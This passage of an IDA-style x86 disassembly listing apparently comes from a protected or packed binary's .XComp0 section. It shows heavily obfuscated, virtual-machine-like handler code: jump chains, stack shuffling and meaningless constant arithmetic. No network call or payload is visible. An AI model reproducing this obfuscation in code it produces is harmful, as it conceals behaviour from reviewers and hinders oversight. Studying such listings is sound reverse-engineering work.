al, dh pop edx xor al, 69h jmp loc_5915DF ; --------------------------------------------------------------------------- loc_589398: ; CODE XREF: .XComp0:0059877Bj push 0FFFFFFFFh jmp loc_58B072 ; --------------------------------------------------------------------------- loc_5893A2: ; CODE XREF: .XComp0:0058C859j mov ah, 0ACh xor ah, bl pop ebx or ah, 6Bh sub ah, 0A6h mov cl, ah pop eax sub bl, cl pop cx jmp loc_5874F7 ; --------------------------------------------------------------------------- loc_5893B9: ; CODE XREF: .XComp0:0058DB93j push eax push dword ptr [esp+4] pop eax jmp loc_58FA52 ; --------------------------------------------------------------------------- loc_5893C4: ; CODE XREF: .XComp0:0058873Cj add eax, esi pop esi push 6947h mov [esp], ebp mov ebp, 76FB5994h jmp loc_595E5C ; --------------------------------------------------------------------------- loc_5893D9: ; CODE XREF: .XComp0:0059506Aj mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_5977A6 ; --------------------------------------------------------------------------- loc_5893E9: ; CODE XREF: .XComp0:0058C970j inc ecx xor ecx, 46413BB4h mov edx, ecx pop ecx jmp loc_58817C ; --------------------------------------------------------------------------- loc_5893F8: ; CODE XREF: .XComp0:00593C20j pop esp and eax, ecx push dword ptr [esp] jmp loc_58751E ; --------------------------------------------------------------------------- loc_589403: ; CODE XREF: .XComp0:005882D7j sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp mov ebp, esp push 4AA3h mov [esp], eax mov eax, 4 push esi sub esp, 4 jmp loc_58CFFC ; --------------------------------------------------------------------------- loc_589428: ; CODE XREF: .XComp0:00586899j add ecx, 57E136C7h jmp loc_58D6D3 ; --------------------------------------------------------------------------- loc_589433: ; CODE XREF: .XComp0:0058577Cj push 2701h mov [esp], ebp mov ebp, 54B45ABAh jmp loc_58CB78 ; --------------------------------------------------------------------------- loc_589445: ; CODE XREF: .XComp0:00591D42j add ebp, 1 xor ebp, 0FD8C1257h sub ebx, ebp pop ebp add esi, ebx pop ebx xor ebx, esi pop esi jmp loc_591AF6 ; --------------------------------------------------------------------------- loc_58945F: ; CODE XREF: .XComp0:00592AA1j inc byte ptr [esp] pop eax add al, 0FFh shr al, 2 push ecx mov ch, 5Bh xchg al, ch not al xchg al, ch neg ch add ch, 31h push eax jmp loc_58EB9A ; --------------------------------------------------------------------------- loc_58947C: ; CODE XREF: .XComp0:0058DA47j add ecx, eax pop eax push 75E1h jmp loc_585C97 ; --------------------------------------------------------------------------- loc_589489: ; CODE XREF: .XComp0:0058447Dj pop edi jmp loc_5863BE ; --------------------------------------------------------------------------- loc_58948F: ; CODE XREF: .XComp0:00587440j mov edi, 585214B0h sub edx, edi pop edi jmp loc_5851EE ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 jmp loc_58C843 ; --------------------------------------------------------------------------- loc_5894A8: ; CODE XREF: .XComp0:00583A8Dj pop esi sub ebp, ecx push esi push edx jmp loc_59714A ; --------------------------------------------------------------------------- loc_5894B2: ; CODE XREF: .XComp0:005874F2j pop esi jmp loc_58634A ; --------------------------------------------------------------------------- loc_5894B8: ; CODE XREF: .XComp0:0058EF5Ej mov ebp, 4 add edi, 2BF054CBh sub edi, ebp jmp loc_592398 ; --------------------------------------------------------------------------- loc_5894CA: ; CODE XREF: .XComp0:005948CBj mov edi, 17381684h and edi, 79713346h xor edi, 54FF331Ch add edi, 90B699Eh jmp loc_588EFD ; --------------------------------------------------------------------------- loc_5894E6: ; CODE XREF: .XComp0:00598340j pop ebp sub esp, 4 mov [esp], edx push 6A6Ah mov [esp], edi jmp loc_588DD4 ; --------------------------------------------------------------------------- loc_5894FD: ; CODE XREF: .XComp0:005869FCj mov esi, esp jmp loc_58433D ; --------------------------------------------------------------------------- loc_589504: ; CODE XREF: .XComp0:0058849Dj xor esi, [esp] xor [esp], esi jmp loc_594B31 ; --------------------------------------------------------------------------- loc_58950F: ; CODE XREF: .XComp0:0058774Ej mov ecx, edi jmp loc_597873 ; --------------------------------------------------------------------------- loc_589516: ; CODE XREF: .XComp0:0058E292j pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_585DBE ; --------------------------------------------------------------------------- loc_589525: ; CODE XREF: .XComp0:0058F0E5j mov ebp, [esp] add esp, 4 jmp loc_588124 ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_58B7D4 ; --------------------------------------------------------------------------- loc_58953C: ; CODE XREF: .XComp0:0059082Aj xor edi, 75EB471Ah jmp loc_587891 ; --------------------------------------------------------------------------- loc_589547: ; CODE XREF: .XComp0:005853E5j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push edx push esp pop edx add edx, 4 jmp loc_5856A4 ; --------------------------------------------------------------------------- loc_58955E: ; CODE XREF: .XComp0:00585D0Fj mov esi, eax pop eax add esi, 7D3642A5h or esi, 2B7D1B63h neg esi or esi, 2A0F5AEDh push edx jmp loc_591126 ; --------------------------------------------------------------------------- loc_58957B: ; CODE XREF: .XComp0:0058417Ej sub edi, 24CB018Fh add edi, ebp push ebx mov ebx, 24CB018Fh add edi, ebx jmp loc_58BC3D ; --------------------------------------------------------------------------- loc_589590: ; CODE XREF: .XComp0:00592380j shl ebp, 1 shl ebp, 4 jmp loc_592DF8 ; --------------------------------------------------------------------------- loc_58959A: ; CODE XREF: .XComp0:00597B99j pop ebx mov edi, [esp] add esp, 4 not edi xchg edi, ebx jmp loc_595D36 ; --------------------------------------------------------------------------- loc_5895AA: ; CODE XREF: .XComp0:00589E19j push esi jmp loc_58806B ; --------------------------------------------------------------------------- loc_5895B0: ; CODE XREF: .XComp0:00590658j or edx, 238403EEh jmp loc_58C213 ; --------------------------------------------------------------------------- loc_5895BB: ; CODE XREF: .XComp0:005851E9j mov ebp, [esp] jmp loc_58E7A9 ; --------------------------------------------------------------------------- loc_5895C3: ; CODE XREF: .XComp0:0058D14Aj add ebx, 0E7F700FEh mov esi, ebx jmp loc_585A14 ; --------------------------------------------------------------------------- loc_5895D0: ; CODE XREF: .XComp0:00593CC8j pop edx sub esi, 0A082AAE2h xor ebx, esi mov esi, [esp] add esp, 4 mov eax, ebx mov ebx, [esp] sub esp, 4 jmp loc_5951C3 ; --------------------------------------------------------------------------- loc_5895EC: ; CODE XREF: .XComp0:00592139j mov ebp, 4 add [esp+4], ebp mov ebp, [esp] push edx jmp loc_584428 ; --------------------------------------------------------------------------- lodsb push ecx sub esp, 4 mov [esp], edx mov dl, 0AEh shr dl, 5 sub dl, 0E4h mov ch, dl pop edx push eax jmp loc_598D3C ; --------------------------------------------------------------------------- loc_58961A: ; CODE XREF: .XComp0:0058FB43j add edx, 0E9FC835Fh add edi, edx pop edx push esi jmp loc_583F95 ; --------------------------------------------------------------------------- loc_589629: ; CODE XREF: .XComp0:0058F5A3j or eax, 4D5C50ABh shr eax, 4 sub eax, 0D59FAA0Bh jmp loc_5926DD ; --------------------------------------------------------------------------- loc_58963B: ; CODE XREF: .XComp0:00584DDCj add esp, 4 push dword ptr [esp] jmp loc_58554C ; --------------------------------------------------------------------------- loc_589649: ; CODE XREF: .XComp0:0058A1F4j sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_58E612 ; --------------------------------------------------------------------------- loc_589665: ; CODE XREF: .XComp0:0059454Dj push edi push esp pop edi add edi, 4 push edx mov edx, 4 jmp loc_58EAD7 ; --------------------------------------------------------------------------- loc_589679: ; CODE XREF: .XComp0:0058782Dj push ebx mov ebx, 76F624C9h and ecx, ebx pop ebx sub esp, 4 mov [esp], esi mov esi, 15BB326Eh xor esi, 7434222Eh xor ecx, esi pop esi add ecx, 9814EC04h add edi, 5D416866h jmp loc_587392 ; --------------------------------------------------------------------------- loc_5896AA: ; CODE XREF: .XComp0:00588CF5j add al, ch pop ecx add al, bh jmp loc_593BAA ; --------------------------------------------------------------------------- loc_5896B4: ; CODE XREF: .XComp0:0058A9FEj dec ebp not ebp jmp loc_596B2E ; --------------------------------------------------------------------------- loc_5896BC: ; CODE XREF: .XComp0:0059041Cj add edx, 192821DDh jmp loc_596C07 ; --------------------------------------------------------------------------- loc_5896C7: ; CODE XREF: .XComp0:00597F4Bj push esi jmp loc_58A3C2 ; --------------------------------------------------------------------------- loc_5896CD: ; CODE XREF: .XComp0:0058A41Dj dec edx shl edx, 8 push ecx jmp loc_5902DB ; --------------------------------------------------------------------------- loc_5896D7: ; CODE XREF: .XComp0:005980BEj push edx jmp loc_583AD4 ; --------------------------------------------------------------------------- loc_5896DD: ; CODE XREF: .XComp0:005899B8j push 58BEh mov [esp], edx jmp loc_58C04D ; --------------------------------------------------------------------------- loc_5896EA: ; CODE XREF: .XComp0:0058E107j mov ch, bh jmp loc_58F30B ; --------------------------------------------------------------------------- loc_5896F1: ; CODE XREF: .XComp0:00584BA0j push ebx mov ebx, 0AC06C53h or esi, ebx pop ebx inc esi push 712Dh jmp loc_5978B3 ; --------------------------------------------------------------------------- loc_589705: ; CODE XREF: .XComp0:0058884Cj push esp jmp loc_596AB7 ; --------------------------------------------------------------------------- loc_58970B: ; CODE XREF: .XComp0:00592F39j add edi, edx sub edi, 0C0359ADh push ebp mov ebp, 0ECD0DEFh shr ebp, 8 and ebp, 2AFE5003h and ebp, 4628499Eh push edi mov edi, 63015B6Eh xor ebp, edi jmp loc_59567D ; --------------------------------------------------------------------------- loc_589735: ; CODE XREF: .XComp0:00586DFFj not eax xchg eax, ebx shr ebx, 6 sub ebx, 7DAE1CA3h xor ebx, 0B4B5D461h xor eax, ebx pop ebx and eax, 442A2312h xor eax, 4080111h mov edi, eax push dword ptr [esp] jmp loc_58A481 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx push 42B5h mov [esp], esp jmp loc_596A4B ; --------------------------------------------------------------------------- loc_589778: ; CODE XREF: .XComp0:0058AEF4j push 732Ah mov [esp], edi mov edi, 635922A7h mov ecx, 454240F9h jmp loc_591D12 ; --------------------------------------------------------------------------- loc_58978F: ; CODE XREF: .XComp0:00585D96j push edi mov edi, 694E2C29h xor ebp, edi jmp loc_5915D1 ; --------------------------------------------------------------------------- loc_58979C: ; CODE XREF: .XComp0:0058A5EAj pop edi xor ebp, [esp] jmp loc_5907CA ; --------------------------------------------------------------------------- loc_5897A5: ; CODE XREF: .XComp0:005867D7j push dword ptr [esp+4] jmp loc_58D7BC ; --------------------------------------------------------------------------- loc_5897AE: ; CODE XREF: .XComp0:00594CC3j mov edx, [esp] add esp, 4 push ecx mov ecx, esp push ebx mov ebx, 465906BAh not ebx inc ebx jmp loc_5891CA ; --------------------------------------------------------------------------- loc_5897C8: ; CODE XREF: .XComp0:00595A00j pop dx movzx eax, al mov dx, [esp] push ebp push 6F25h jmp loc_58A8F4 ; --------------------------------------------------------------------------- loc_5897DC: ; CODE XREF: .XComp0:00590891j add esp, 4 add ebp, 4 jmp loc_5970D6 ; --------------------------------------------------------------------------- loc_5897EA: ; CODE XREF: .XComp0:0058BBD5j push esp mov esi, [esp] push edx mov edx, esp push ecx mov ecx, 31FD7305h sub ecx, 31FD7301h add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp movzx eax, al pop small word ptr [edi+eax*4] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_589829: ; CODE XREF: .XComp0:0058DB85j add bh, 60h sub bh, 81h add cl, bh mov ebx, [esp] add esp, 4 shr cl, 6 xor cl, 24h sub cl, 8Dh sub al, cl push dword ptr [esp] pop ecx add esp, 4 jmp loc_598C5B ; --------------------------------------------------------------------------- loc_589851: ; CODE XREF: .XComp0:00585A88j push ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] pop esp push ebp push ecx push edx jmp loc_5901D1 ; --------------------------------------------------------------------------- loc_589866: ; CODE XREF: .XComp0:005852D9j add ebx, 0B3F9688Ch push edi mov edi, ebx jmp loc_58E3BA ; --------------------------------------------------------------------------- loc_589874: ; CODE XREF: .XComp0:0058FE15j mov [esp], bx mov bl, 0AFh add cl, bl pop bx push small 7D14h mov [esp], dx jmp loc_58826A ; --------------------------------------------------------------------------- loc_58988B: ; CODE XREF: .XComp0:0058855Aj pop edi push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp] pop esp mov [esp], esi mov esi, 319B3B4Ch add edx, 22647910h sub edx, esi sub edx, 22647910h pop esi add ecx, edx mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ecx, 2 jmp loc_597C1E ; --------------------------------------------------------------------------- loc_5898D3: ; CODE XREF: .XComp0:0058CE09j add esi, 0D0FDCA7Ah mov ebx, esi jmp loc_593FB7 ; --------------------------------------------------------------------------- loc_5898E0: ; CODE XREF: .XComp0:0058AFF8j mov ebp, [esp] add esp, 4 add dword ptr [esp], 54082489h sub [esp], eax push ebp mov ebp, 54082489h jmp loc_590AF8 ; --------------------------------------------------------------------------- loc_5898FB: ; CODE XREF: .XComp0:00594D57j mov esi, ebp pop ebp add ebx, esi push dword ptr [esp] jmp loc_5919D1 ; --------------------------------------------------------------------------- loc_589908: ; CODE XREF: .XComp0:0058A09Bj shl edx, 8 add edx, 160C07CAh xor edx, 74F453E6h jmp loc_58C227 ; --------------------------------------------------------------------------- loc_58991C: ; CODE XREF: .XComp0:00583E79j add edi, 7AA86B92h mov esi, [esp] push ecx jmp loc_591721 ; --------------------------------------------------------------------------- loc_58992B: ; CODE XREF: .XComp0:00594AEDj xchg eax, [esp] pop esp push ecx jmp loc_588A16 ; --------------------------------------------------------------------------- loc_589935: ; CODE XREF: .XComp0:005924D1j shl esi, 4 shr esi, 7 push edx mov edx, 164B1B9h xor esi, edx pop edx jmp loc_5920EA ; --------------------------------------------------------------------------- loc_589949: ; CODE XREF: .XComp0:0058C4D3j push edx mov edx, 4D9F26C9h shr edx, 6 sub edx, 845918EFh jmp loc_58F279 ; --------------------------------------------------------------------------- loc_58995D: ; CODE XREF: .XComp0:0058690Cj pop esi xchg edi, [esp] pop esp mov [esp], ecx mov ecx, 4 add eax, ecx mov ecx, [esp] push edi jmp loc_59303F ; --------------------------------------------------------------------------- loc_589975: ; CODE XREF: .XComp0:00596AB8j push ecx mov ecx, 4 add esi, ecx pop ecx push ecx mov ecx, 4 jmp loc_5955CB ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx jmp loc_592208 ; --------------------------------------------------------------------------- loc_589998: ; CODE XREF: .XComp0:005939A2j push ebx mov ebx, 4 add edi, ebx pop ebx push 9DFh mov [esp], ecx jmp loc_592938 ; --------------------------------------------------------------------------- loc_5899AE: ; CODE XREF: .XComp0:00586629j push edx mov edx, esp add edx, 4 push eax jmp loc_5896DD ; --------------------------------------------------------------------------- loc_5899BD: ; CODE XREF: .XComp0:00595519j add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_59103C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58F904 ; --------------------------------------------------------------------------- loc_5899DF: ; CODE XREF: .XComp0:005930BBj pop ecx xor ecx, 36F6B44h pop ebp push ebp mov ebp, 6FB75DF8h sub [esp+8], ebp pop ebp add dword ptr [esp+4], 16523CF1h sub [esp+4], ecx sub dword ptr [esp+4], 16523CF1h add dword ptr [esp+4], 6FB75DF8h pop ecx push dword ptr [esp] pop eax jmp loc_592997 ; --------------------------------------------------------------------------- loc_589A18: ; CODE XREF: .XComp0:00594DC3j push ebp push edx jmp loc_5944A2 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 37D1h mov [esp], edi jmp loc_588D39 ; --------------------------------------------------------------------------- loc_589A35: ; CODE XREF: .XComp0:00589B78j push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp push edx mov edx, 7B9609ECh jmp loc_58A109 ; --------------------------------------------------------------------------- loc_589A52: ; CODE XREF: .XComp0:0058A289j not eax jmp loc_5932EF ; --------------------------------------------------------------------------- loc_589A59: ; CODE XREF: .XComp0:00593BC6j dec ecx jmp loc_5928CC ; --------------------------------------------------------------------------- loc_589A5F: ; CODE XREF: .XComp0:005943DCj add esi, 38923547h pop edi push eax jmp loc_595EC5 ; --------------------------------------------------------------------------- loc_589A6C: ; CODE XREF: .XComp0:0058E1C8j sub esi, eax jmp loc_585719 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58FE98 ; --------------------------------------------------------------------------- loc_589A7C: ; CODE XREF: .XComp0:0058BEAEj push eax mov eax, esp jmp loc_5850C5 ; --------------------------------------------------------------------------- loc_589A84: ; CODE XREF: .XComp0:0058E600j add esp, 4 jmp loc_587CF7 ; --------------------------------------------------------------------------- loc_589A8F: ; CODE XREF: .XComp0:0058C237j push esi mov esi, 3A106F7Ch sub ecx, esi pop esi push dword ptr [esp] pop edx add esp, 4 jmp loc_58BC6D ; --------------------------------------------------------------------------- loc_589AA7: ; CODE XREF: .XComp0:0059254Dj mov edi, 0BD37891h neg edi dec edi inc edi or edi, 5F79077Bh jmp loc_58F3E1 ; --------------------------------------------------------------------------- loc_589ABB: ; CODE XREF: .XComp0:00592511j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp push esp pop ebp push edi jmp loc_585257 ; --------------------------------------------------------------------------- loc_589AD4: ; CODE XREF: .XComp0:00596B13j push eax push ecx mov cl, bl push ebx mov bh, cl mov al, bh mov ebx, [esp] add esp, 4 pop ecx push ebx mov bl, al mov dh, bl jmp loc_5922A9 ; --------------------------------------------------------------------------- loc_589AEE: ; CODE XREF: .XComp0:0058AC5Dj pop ebp pop dword ptr [esp] pop esp sub edi, edx pop edx jmp loc_58CD20 ; --------------------------------------------------------------------------- loc_589AFB: ; CODE XREF: .XComp0:005869E6j push edx mov edx, 463379E5h shl edx, 7 xor edx, 2849A6BEh sub eax, edx pop edx sub eax, 0FBCDDFB8h xor edx, eax pop eax push ecx push esi mov esi, 99C313A2h mov ecx, esi pop esi add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_594965 ; --------------------------------------------------------------------------- loc_589B2C: ; CODE XREF: .XComp0:00596622j pop edi mov ebx, ebp jmp loc_58EBA4 ; --------------------------------------------------------------------------- loc_589B34: ; CODE XREF: .XComp0:0058F21Fj push ecx push edi mov edi, 5ECA18EFh jmp loc_5986D3 ; --------------------------------------------------------------------------- loc_589B40: ; CODE XREF: .XComp0:0059453Ej add di, si pop esi add ax, 44D2h sub ax, di sub ax, 44D2h mov di, [esp] push ebx jmp loc_585E79 ; --------------------------------------------------------------------------- loc_589B59: ; CODE XREF: .XComp0:0058E542j inc edi shl edi, 7 sub edi, 0E10C5B45h add eax, edi pop edi push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 add eax, 4 jmp loc_589A35 ; --------------------------------------------------------------------------- loc_589B7D: ; CODE XREF: .XComp0:0058C01Ej mov ebx, [esp] add esp, 4 pop eax push 7114h mov [esp], edx push 3BC97330h push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 shr edx, 2 shl edx, 6 add edx, 199E4149h xor edx, 0FFBD29C7h xor eax, edx push dword ptr [esp] jmp loc_595B6A ; --------------------------------------------------------------------------- loc_589BBC: ; CODE XREF: .XComp0:00584241j pop dword ptr [esp] mov esp, [esp] jmp loc_5988B5 ; --------------------------------------------------------------------------- loc_589BC7: ; CODE XREF: .XComp0:00587F2Fj mov esi, 31883213h shl esi, 5 shl esi, 6 jmp loc_5904FB ; --------------------------------------------------------------------------- loc_589BD7: ; CODE XREF: .XComp0:0058A3C9j pop esi sub ecx, edi pop edi xor ecx, [esp] jmp loc_583E53 ; --------------------------------------------------------------------------- loc_589BE3: ; CODE XREF: .XComp0:005930F8j push eax mov eax, 4 jmp loc_5906D0 ; --------------------------------------------------------------------------- loc_589BEE: ; CODE XREF: .XComp0:00597AD0j mov [esp], edi mov edi, 8B57330h inc edi shr edi, 5 jmp loc_58BB16 ; --------------------------------------------------------------------------- loc_589BFF: ; CODE XREF: .XComp0:005920EFj add esp, 4 push esi push eax push 4F6F17FAh mov eax, [esp] add esp, 4 jmp loc_59836C ; --------------------------------------------------------------------------- loc_589C17: ; CODE XREF: .XComp0:0059425Fj add ebp, 1FD95D1Ch add ebp, 0B467AFFh jmp loc_58C975 ; --------------------------------------------------------------------------- loc_589C28: ; CODE XREF: .XComp0:0058DEB6j push ebx push eax mov ah, 16h mov bl, ah pop eax jmp loc_588D8E ; --------------------------------------------------------------------------- loc_589C34: ; CODE XREF: .XComp0:00586309j or ecx, 4EB73760h jmp loc_592864 ; --------------------------------------------------------------------------- loc_589C3F: ; CODE XREF: .XComp0:0058B19Dj mov [esp], esi jmp loc_58436B ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5952E7 ; --------------------------------------------------------------------------- loc_589C5E: ; CODE XREF: .XComp0:0058CE5Ej not ecx shr ecx, 8 and ecx, 2926777Fh and ecx, 67714090h shr ecx, 3 add ecx, 539B3994h and ebx, ecx pop ecx inc ebx push ecx mov ecx, 12317082h jmp loc_597FBE ; --------------------------------------------------------------------------- loc_589C87: ; CODE XREF: .XComp0:00588F5Cj push dword ptr [esp] pop edx push ebx mov ebx, esp push esi push edi mov edi, 245D41CAh mov esi, 313D571Bh sub esi, edi pop edi push edx mov edx, 7960137Fh dec edx jmp loc_598A27 ; --------------------------------------------------------------------------- loc_589CA9: ; CODE XREF: .XComp0:005918CCj mov edx, 3906898Ch push esi mov esi, 7D8018C8h jmp loc_596D32 ; --------------------------------------------------------------------------- loc_589CB9: ; CODE XREF: .XComp0:0058D2C8j xor [esp], ebp pop edi xor ebx, edi xor edi, ebx jmp loc_590845 ; --------------------------------------------------------------------------- loc_589CC6: ; CODE XREF: .XComp0:00590458j sub eax, edx pop edx jmp loc_588487 ; --------------------------------------------------------------------------- loc_589CCE: ; CODE XREF: .XComp0:00584224j pop eax jmp loc_591ABB ; --------------------------------------------------------------------------- loc_589CD4: ; CODE XREF: .XComp0:00586675j pop ebp neg eax jmp loc_58CA19 ; --------------------------------------------------------------------------- loc_589CDC: ; CODE XREF: .XComp0:0058E4C3j and ch, 0Bh xchg dh, ch not dh xchg dh, ch not ch add ch, 86h mov ah, ch jmp loc_5908D4 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_587680 ; --------------------------------------------------------------------------- lodsb push 8FEh mov [esp], ebx push edx jmp loc_596499 ; --------------------------------------------------------------------------- loc_589D1F: ; CODE XREF: .XComp0:00593782j sub esp, 4 mov [esp], esi jmp loc_58E746 ; --------------------------------------------------------------------------- loc_589D2D: ; CODE XREF: .XComp0:0058AD34j sub ebx, ecx pop ecx jmp loc_58DDE5 ; --------------------------------------------------------------------------- loc_589D35: ; CODE XREF: .XComp0:0059066Cj push edx mov edx, 85E55994h sub ecx, edx jmp loc_59486C ; --------------------------------------------------------------------------- loc_589D42: ; CODE XREF: .XComp0:00584030j add ch, ah jmp loc_58AC6D ; --------------------------------------------------------------------------- loc_589D49: ; CODE XREF: .XComp0:0058DDE0j shl ebx, 2 jmp loc_59156B ; --------------------------------------------------------------------------- loc_589D51: ; CODE XREF: .XComp0:0058E127j push esi mov esi, 4 jmp loc_58AFB9 ; --------------------------------------------------------------------------- loc_589D5C: ; CODE XREF: .XComp0:0058DE99j add al, bh mov bx, [esp] add esp, 2 push 55FBh mov [esp], ecx mov cl, 50h sub esp, 4 mov [esp], eax push 6A8Ah mov [esp], ebx mov ebx, esp push eax mov eax, 4 jmp loc_5844BE ; --------------------------------------------------------------------------- loc_589D90: ; CODE XREF: .XComp0:00588A74j or ebx, 41275089h inc ebx neg ebx add ebx, 0D8E69EC1h xor ecx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_58B594 ; --------------------------------------------------------------------------- loc_589DAD: ; CODE XREF: .XComp0:00594A3Bj push 3CAC06C6h pop ecx add edi, ecx jmp loc_58EA8D ; --------------------------------------------------------------------------- loc_589DBA: ; CODE XREF: .XComp0:00598810j mov cx, [esp] jmp loc_58A399 ; --------------------------------------------------------------------------- xor [esp], ax xor ax, [esp] jmp loc_5885A1 ; --------------------------------------------------------------------------- loc_589DD0: ; CODE XREF: .XComp0:0058BA82j mov [esp], esi jmp loc_58AF0E ; --------------------------------------------------------------------------- loc_589DD8: ; CODE XREF: .XComp0:005912C8j pop ecx add ecx, 5C3233E2h add ecx, esi sub ecx, 5C3233E2h jmp loc_593F44 ; --------------------------------------------------------------------------- loc_589DEC: ; CODE XREF: .XComp0:00584733j mov [esp], esp add dword ptr [esp], 4 pop ebp push esi mov esi, 4 add ebp, esi pop esi sub ebp, 4 xor ebp, [esp] jmp loc_59704E ; --------------------------------------------------------------------------- loc_589E0B: ; CODE XREF: .XComp0:00598EB7j std push 7B93h mov [esp], esi mov esi, 0Ah jmp loc_5895AA ; --------------------------------------------------------------------------- loc_589E1E: ; CODE XREF: .XComp0:0058C6FBj push dword ptr [esp] jmp loc_596545 ; --------------------------------------------------------------------------- loc_589E26: ; CODE XREF: .XComp0:00583CC4j mov edx, [esp] jmp loc_590C44 ; --------------------------------------------------------------------------- loc_589E2E: ; CODE XREF: .XComp0:005968C3j pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_589E40: ; CODE XREF: .XComp0:00590095j pop esp add edi, 4 push edx push 4 push dword ptr [esp] jmp loc_58AC46 ; --------------------------------------------------------------------------- loc_589E55: ; CODE XREF: .XComp0:00597E80j mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_584A8E ; --------------------------------------------------------------------------- loc_589E6B: ; CODE XREF: .XComp0:0058BF0Ej mov edi, [esp] add esp, 4 push 39CDh mov [esp], ebp mov ebp, 6823523Dh neg ebp inc ebp inc ebp jmp loc_5950DF ; --------------------------------------------------------------------------- loc_589E87: ; CODE XREF: .XComp0:0058FFACj pop eax sub ebx, 16543DE7h sub ebx, edx add ebx, 16543DE7h push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_590279 ; --------------------------------------------------------------------------- loc_589EB5: ; CODE XREF: .XComp0:00590DBBj mov edi, [esp] add esp, 4 xor eax, esi mov esi, [esp] jmp loc_58ED41 ; --------------------------------------------------------------------------- loc_589EC5: ; CODE XREF: .XComp0:0058D353j add bl, 30h jmp loc_5959F8 ; --------------------------------------------------------------------------- loc_589ECD: ; CODE XREF: .XComp0:0058A3EEj xchg edi, [esp] pop esp add edx, 2 push edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_59218A ; --------------------------------------------------------------------------- loc_589EE4: ; CODE XREF: .XComp0:005910F0j mov edi, ebp pop ebp inc edi push ecx push esi push edx mov edx, 2D173780h mov esi, 42AD194h add esi, edx jmp loc_58F94C ; --------------------------------------------------------------------------- loc_589EFC: ; CODE XREF: .XComp0:005883E7j push edi mov edi, esp sub esp, 4 mov [esp], esi mov esi, 6F681B06h inc esi shr esi, 1 jmp loc_590ED6 ; --------------------------------------------------------------------------- loc_589F15: ; CODE XREF: .XComp0:005882BDj pop eax pop esi push ebp jmp loc_597029 ; --------------------------------------------------------------------------- loc_589F1D: ; CODE XREF: .XComp0:0058CD98j add esp, 4 push ecx mov ecx, 51B13732h sub edx, ecx pop ecx push ecx jmp loc_5882DC ; --------------------------------------------------------------------------- loc_589F2F: ; CODE XREF: .XComp0:00586B76j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi mov esi, eax push ebp jmp loc_58F4EE ; --------------------------------------------------------------------------- loc_589F47: ; CODE XREF: .XComp0:0058BC2Dj shr edx, 4 push ebx mov ebx, 617F5DB2h xor ebx, 0F8E7F48h or edx, ebx pop ebx sub edx, 6EFB73F8h add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp bts [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_589F77: ; CODE XREF: .XComp0:0058F1DEj mov [esp], ebx jmp loc_58E335 ; --------------------------------------------------------------------------- loc_589F7F: ; CODE XREF: .XComp0:005925B2j xchg eax, [esp] jmp loc_58F1CC ; --------------------------------------------------------------------------- loc_589F87: ; CODE XREF: .XComp0:0058B902j sub ecx, edi pop edi pop edx shl ecx, 6 push ebp mov ebp, 2318280Ch push ebp dec dword ptr [esp] mov ebp, [esp] add esp, 4 push edx jmp loc_594F13 ; --------------------------------------------------------------------------- loc_589FA7: ; CODE XREF: .XComp0:005922B8j xchg edx, [esp] pop esp pop eax push 0B42h mov [esp], eax mov ah, dh jmp loc_584D9A ; --------------------------------------------------------------------------- loc_589FBB: ; CODE XREF: .XComp0:0058AF3Dj mov ebp, esp push ecx push esp pop ecx jmp loc_586D11 ; --------------------------------------------------------------------------- loc_589FC5: ; CODE XREF: .XComp0:0058B2CBj pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 4F78h mov [esp], ebp jmp loc_585E2A ; --------------------------------------------------------------------------- loc_589FE3: ; CODE XREF: .XComp0:00593D8Cj mov ecx, esp jmp loc_58A6EF ; --------------------------------------------------------------------------- loc_589FEA: ; CODE XREF: .XComp0:0058780Ej push ebp jmp loc_59358A ; --------------------------------------------------------------------------- loc_589FF0: ; CODE XREF: .XComp0:0059270Fj mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax jmp loc_585808 ; --------------------------------------------------------------------------- loc_58A006: ; CODE XREF: .XComp0:005908C0j add esi, edi push dword ptr [esp] pop edi jmp loc_5842F3 ; --------------------------------------------------------------------------- loc_58A011: ; CODE 